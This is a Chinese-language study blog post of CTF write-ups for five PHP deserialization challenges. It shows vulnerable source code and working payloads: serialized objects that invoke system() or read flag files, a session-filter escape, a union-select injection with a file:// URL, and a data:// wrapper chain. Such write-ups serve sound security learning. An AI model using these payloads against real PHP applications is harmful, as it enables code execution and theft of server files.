上班

这周主要学了反序列化

主要是上周的考试反序列化没弄出来吧(虽然sql注入也没有做出来

题也是全是反序列化和代码审计(主要是自己菜

一.[网鼎杯 2020 朱雀组]phpweb

1.开局一张图和一个warning

在我还没读完warning就发现这个网站在跳

感觉和之前做过的一个题很像

肯定有东西

抓包试试

看见那个func和p好像在穿参就弄个file_get_contents试试

有回显再把p传一个他给的index试试

   <?php

    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

    function gettime($func, $p) {

        $result = call_user_func($func, $p);

        $a= gettype($result);

        if ($a == "string") {

            return $result;

        } else {return "";}

    }

    class Test {

        var $p = "Y-m-d h:i:s a";

        var $func = "date";

        function __destruct() {

            if ($this->func != "") {

                echo gettime($this->func, $this->p);

            }

        }

    }

    $func = $_REQUEST["func"];

    $p = $_REQUEST["p"];

    if ($func != null) {

        $func = strtolower($func);

        if (!in_array($func,$disable_fun)) {

            echo gettime($func, $p);

        }else {

            die("Hacker...");

        }

    }

    ?>

然后就看见了源码

2.反序列化

function gettime($func, $p) {

        $result = call_user_func($func, $p);

        $a= gettype($result);

        if ($a == "string") {

            return $result;

        } else {return "";}

    }

    class Test {

        var $p = "Y-m-d h:i:s a";

        var $func = "date";

        function __destruct() {

            if ($this->func != "") {

                echo gettime($this->func, $this->p);

            }

        }

    }

依据上面的

<?php

class Test {

    var $p = "ls";

    var $func = "system";

    function __destruct() {

        if ($this->func != "") {

            echo gettime($this->func, $this->p);

        }

    }

}

$a=new Test();

echo serialize($a);

得O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}

没看见flag

再构造exp

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

func=readfile&p=/tmp/flagoefiu4r93

唉 以后能复制就别打字 干

二.[安洵杯 2019]easy_serialize_php

这个开局是代码审计

<?php

$function = @$_GET['f'];

function filter($img){

    $filter_arr = array('php','flag','php5','php4','fl1g');

    $filter = '/'.implode('|',$filter_arr).'/i';

    return preg_replace($filter,'',$img);

}

if($_SESSION){

    unset($_SESSION);

}

$_SESSION["user"] = 'guest';

$_SESSION['function'] = $function;

extract($_POST);

if(!$function){

    echo '<a href="index.php?f=highlight_file">source_code</a>';

}

if(!$_GET['img_path']){

    $_SESSION['img'] = base64_encode('guest_img.png');

}else{

    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));

}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){

    highlight_file('index.php');

}else if($function == 'phpinfo'){

    eval('phpinfo();'); //maybe you can find something in here!

}else if($function == 'show_image'){

    $userinfo = unserialize($serialize_info);

    echo file_get_contents(base64_decode($userinfo['img']));

}

观察到phpinfo有点东西 就蹭蹭康康

感受一下这个长度 这谁顶得住

终于

然后auto_append_file  在页面底部加载文件

再然后之前读到的info后面有个

else if($function == 'show_image'){

    $userinfo = unserialize($serialize_info);

    echo file_get_contents(base64_decode($userinfo['img']));

}

先反序列化再base64

看上去很简单但是前面还有一个过滤函数(别问我怎么知道很复杂

过滤的话我们就可以用user的值定为关键词集合而把function中的值定为function和img的键和值

还有$userinfo[‘img’]的内容要改为d0g3_f1ag.php的base64编码值

_SESSION[user]=php5php5php5php5phpphp&_SESSION[function]=;s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

序列化之后

a:3:{s:4:"user";s:22:"php5php5php5php5phpphp";s:8:"function";s:73:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

过滤后

a:3:{s:4:"user";s:22:"";s:8:"function";s:73:";s:8:"function";s:10:"show_image";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}

加粗部分是22个字符,需要被和谐进user的值中,所以php5和php的字符串长度为22,也就是php5*4+php*2,才能够成功

后面看代码发现在flag在/d0g3_fllllllag

再把之前的那个东东的base64改成flag在/d0g3_fllllllag的base64就来了

三.[网鼎杯 2018]Fakebook

进去先注册账号,不注册没法(别问我怎么知道

blog必须http://开头(别问

然后点进去你的Facebook

发现报错就爱了

然后发现union被过滤

然后绕过嘛

unserialize好家伙

然后用sql跑包还有注入查找数据库这些都没太懂

这里就先不胡说了

直接反序列化

<?php

class UserInfo  {

    public $name = "test";

    public $age = 1;

    public $blog = "file:///var/www/html/flag.php";

}

$p = new UserInfo();

echo serialize($p);

?>

view.php?no=0/**/union/**/select%201,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27

然后看源码一个个套娃点开就来了

四.网鼎杯2020[青龙组]--AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;

    protected $filename;

    protected $content;

    function __construct() {

        $op = "1";

        $filename = "/tmp/tmpfile";

        $content = "Hello World!";

        $this->process();

    }

    public function process() {

        if($this->op == "1") {

            $this->write();

        } else if($this->op == "2") {

            $res = $this->read();

            $this->output($res);

        } else {

            $this->output("Bad Hacker!");

        }

    }

    private function write() {

        if(isset($this->filename) && isset($this->content)) {

            if(strlen((string)$this->content) > 100) {

                $this->output("Too long!");

                die();

            }

            $res = file_put_contents($this->filename, $this->content);

            if($res) $this->output("Successful!");

            else $this->output("Failed!");

        } else {

            $this->output("Failed!");

        }

    }

    private function read() {

        $res = "";

        if(isset($this->filename)) {

            $res = file_get_contents($this->filename);

        }

        return $res;

    }

    private function output($s) {

        echo "[Result]: <br>";

        echo $s;

    }

    function __destruct() {

        if($this->op === "2")

            $this->op = "1";

        $this->content = "";

        $this->process();

    }

}

function is_valid($s) {

    for($i = 0; $i < strlen($s); $i++)

        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

            return false;

    return true;

}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];

    if(is_valid($str)) {

        $obj = unserialize($str);

    }

}

上来就审计

发现用str穿参

再发现可以用read读flag

还有俩绕过

1.is_valid()里面要ascii码在32-125但protected属性在序列化后会出现不可见字符\00*\00

php7.1以上对属性类型不感冒,用public属性序列化不会出现不可见字符

2.__destruct()魔术方法中强弱类型比较要注意

直接op=2(“2” 这个“2”是字符

<?php

class FileHandler {

    public $op = 2;

    public  $filename = "flag.php";

    public  $content = "oavinci";

}

$p = new FileHandler();

echo serialize($p);

?>

然后就看源码来了

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"oavinci";}

五.[ZJCTF 2019]NiZhuanSiWei

<?php  

$text = $_GET["text"];

$file = $_GET["file"];

$password = $_GET["password"];

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){

    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";

    if(preg_match("/flag/",$file)){

        echo "Not now!";

        exit(); 

    }else{

        include($file);  //useless.php

        $password = unserialize($password);

        echo $password;

    }

}

else{

    highlight_file(__FILE__);

}

?>

上来也是审计

考点:php伪协议

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){

这里需要传参text且&&里面的

根据用法用base64

然后前面传  file

 if(preg_match("/flag/",$file)){

        echo "Not now!";

        exit(); 

    }else{

        include($file);  //useless.php

        $password = unserialize($password);

        echo $password;

    }

Filter伪协议来读源码

同样根据用法

然后就是就是else里面的unserialize

<?php

class flag{

    public $file="flag.php";

    public function __tostring(){

        if(isset($this->file)){

            echo file_get_contents($this->file);

            echo "<br>";

        return ("U R SO CLOSE !///COME ON PLZ");

        }

    }

}

$p = new flag();

echo serialize($p);

?>

结果

O:4:"flag":1:{s:4:"file";s:8:"flag.php";}

最后的payload

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"flag":1:{s:4:"file";s:8:"flag.php";}

然后看源码就来了

每周一笑

 

我找了flag半天你就给我看这个?

下班

更多推荐

Web安全新手入门学习Week9